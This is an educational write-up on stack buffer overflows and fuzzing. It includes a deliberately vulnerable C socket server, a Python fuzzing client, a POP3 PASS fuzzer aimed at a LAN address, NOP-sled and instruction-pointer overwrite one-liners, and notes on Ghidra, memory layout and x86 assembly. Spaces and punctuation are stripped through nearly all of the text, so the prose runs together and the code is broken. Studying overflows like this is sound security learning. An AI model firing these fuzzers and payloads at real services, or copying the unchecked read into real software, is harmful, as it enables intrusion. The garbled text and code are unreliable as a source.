onbetweenunrelatedprocessesandevenbetweenprocessesrunningondifferentmachinesthatcommunicateoveranetworkSocketsaretheprimarymeansofcommunicatingwithothermachinestelnetrloginftptalkandtheotherfamiliarnetworkprogramsusesocketsincludeltnetinetinhgtTheheaderfileinhcontainsconstantsandstructuresneededforinternetdomainaddressesincludeltunistdhgtThisheaderfilewillprovidevariousconstanttypeandfunctiondeclarationsthatcomprisethePOSIXoperatingsystemAPI
SourceCodetoVulnerableServerandPythonClientcanbefoundhelliphttpsgithubcomsecSandmanBuffer_Overflow_PoC_C_LinuxTheclientPoCpyandclientpyfileswillbeusedtofuzzandattackthevulnerableprogramLaterwersquollexplainwhatandwhyFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
clientPoCpy
usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=
Serverexpectsapre-fixtellingyouthebuffersizeThiswillhelpustroubleshootintheserverterminal
raw+=structpack(ltIlen(MESSAGE))raw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()
printReceiveddatadata
ThevulnerableServercisthevulnerableCprogramThesourcecodewillexplainthewhatandthewhyofthecodeincaseyouwanttobuildyourownprogramLaterwecoverothervulnerableCfunctionsFornowthisisjustanexampleforthosewhowanttodiverightinandworkbackwards
VulnerableServerwcommentsonSocketCprogramminginC
AvulnerablenetworkapplicationCtoshowthebasicsoverflowingabufferandwritingasimpleSocketProgram(-8Thankstotaishi8117forthesourcecodeandopensourcingthecodeIupdatedtheServertoruncontinuouslysoyoucanwriteaniterativefuzzeronitPreviouslytheserverterminatedprocessafterthefirstserverresponseThankstoRensellarCollegeandUPENNforleavingyourCCprogrammingmaterialforfreeonthepublicinternetincludeltstdiohgtincludeltstdlibhgtincludeltstringhgtincludeltsystypeshgtincludeltsyssockethgtincludeltnetinetinhgtincludeltunistdhgtincludeltsignalhgtdefinesamacronamedBUFFER_BOUNDARY_SIZEasanabbreviationforthetoken1024HEADER_SIZEisuniquetothisapplicationandisapre-fixedstringaddedtothemessageblockdefineBUFFER_BOUNDARY_SIZE1024defineHEADER_SIZE4Macrowillinsertbuffersizeof1024intocharbuffersettingourbuffersizeto1024bytesvoidvuln_read(intcli_fd)Theserverreadscharactersfromthesocketconnectionintothisbuffercharbuffer[BUFFER_BOUNDARY_SIZE]Assumingthatincomingclientheaderisinlittleendiantheserverwillthenreadthefirst4bytestogetaclientprovidedpre-fixstringstatinghowmanybytestotheclientisprovidingintto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
-----------------WARNING------------------------intread_bytes=read(cli_fdbufferto_read)hasabufferoverflowvulnerabilitybecauseto_readcanbemuchlargerthanthemacrodefined1024Thatsbecausethereisnobytelengthvalidationonto_readbeforeweplaceintobufferof1024meh intread_bytes=read(cli_fdbufferto_read)printf(Readdbytesnread_bytes)printf(Incomingmessagesnbuffer)intmain(intargccharargv)if(argclt2)printf(Usages[port]nargv[0])exit(1)sockfdisafiledescriptorsiearraysubscriptsintothefiledescriptortableThesetwovariablesstorethevaluesreturnedbythesocketsystemcallandtheacceptsystemcallportstorestheportnumberonwhichtheserveracceptsconnectionscli_lenstoresthesizeoftheaddressoftheclientThisisneededfortheacceptsystemcallintportsock_fdcli_fdsocklen_tcli_lenAsockaddr_inisastructurecontaininganinternetaddressThisstructureisdefinedinltnetinetinhgtstructsockaddr_inserv_addrcli_addrThesocket()systemcallcreatesanewsocketIttakesthreeargumentsThefirstistheaddressdomainofthesocketRecallthattherearetwopossibleaddressdomainstheunixdomainfortwoprocesseswhichshareacommonfilesystemandtheInternetdomainforanytwohostsontheInternetThesymbolconstantAF_UNIXisusedfortheformerandAF_INETforthelatter(thereareactuallymanyotheroptionswhichcanbeusedhereforspecializedpurposes)ThesecondargumentisthetypeofsocketRecallthattherearetwochoiceshereastreamsocketinwhichcharactersarereadinacontinuousstreamasiffromafileorpipeandadatagramsocketinwhichmessagesarereadinchunksThetwosymbolicconstantsareSOCK_STREAMandSOCK_DGRAMThethirdargumentistheprotocolIfthisargumentiszero(anditalwaysshouldbeexceptforunusualcircumstances)theoperatingsystemwillchoosethemostappropriateprotocolItwillchooseTCPforstreamsocketsandUDPfordatagramsocketsThesocketsystemcallreturnsanentryintothefiledescriptortable(ieasmallinteger)ThisvalueisusedforallsubsequentreferencestothissocketIfthesocketcallfailsitreturns-1InthiscasetheprogramdisplaysanderrormessageandexitsHoweverthissystemcallisunlikelytofailThisisasimplifieddescriptionofthesocketcalltherearenumerousotherchoicesfordomainsandtypesbutthesearethemostcommonsock_fd=socket(AF_INETSOCK_STREAM0)
if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
